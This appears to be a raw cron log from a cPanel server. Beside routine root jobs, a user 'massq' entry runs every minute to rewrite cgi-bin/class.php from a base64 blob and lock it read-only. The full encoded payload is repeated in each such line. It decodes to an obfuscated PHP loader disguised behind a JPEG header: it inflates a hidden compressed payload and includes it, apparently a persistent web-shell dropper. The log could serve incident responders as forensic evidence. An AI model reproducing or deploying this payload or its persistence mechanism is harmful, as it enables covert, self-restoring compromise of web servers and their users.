Nov 10 00:43:01 server CROND[19640]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:44:01 server CROND[20208]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:45:01 server CROND[20572]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:45:01 server CROND[20571]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 00:45:01 server CROND[20573]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 00:46:01 server CROND[21433]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:47:01 server CROND[22247]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:48:01 server CROND[23151]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:49:01 server CROND[23894]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:50:01 server CROND[24709]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 00:50:01 server CROND[24710]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 00:50:01 server CROND[24712]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:50:01 server CROND[24713]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 00:50:01 server CROND[24717]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 00:51:01 server CROND[25596]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:52:01 server CROND[26268]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:53:01 server CROND[27077]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:54:01 server CROND[27893]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 00:55:01 server CROND[28764]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 00:55:01 server CROND[28765]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 00:55:01 server CROND[28766]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
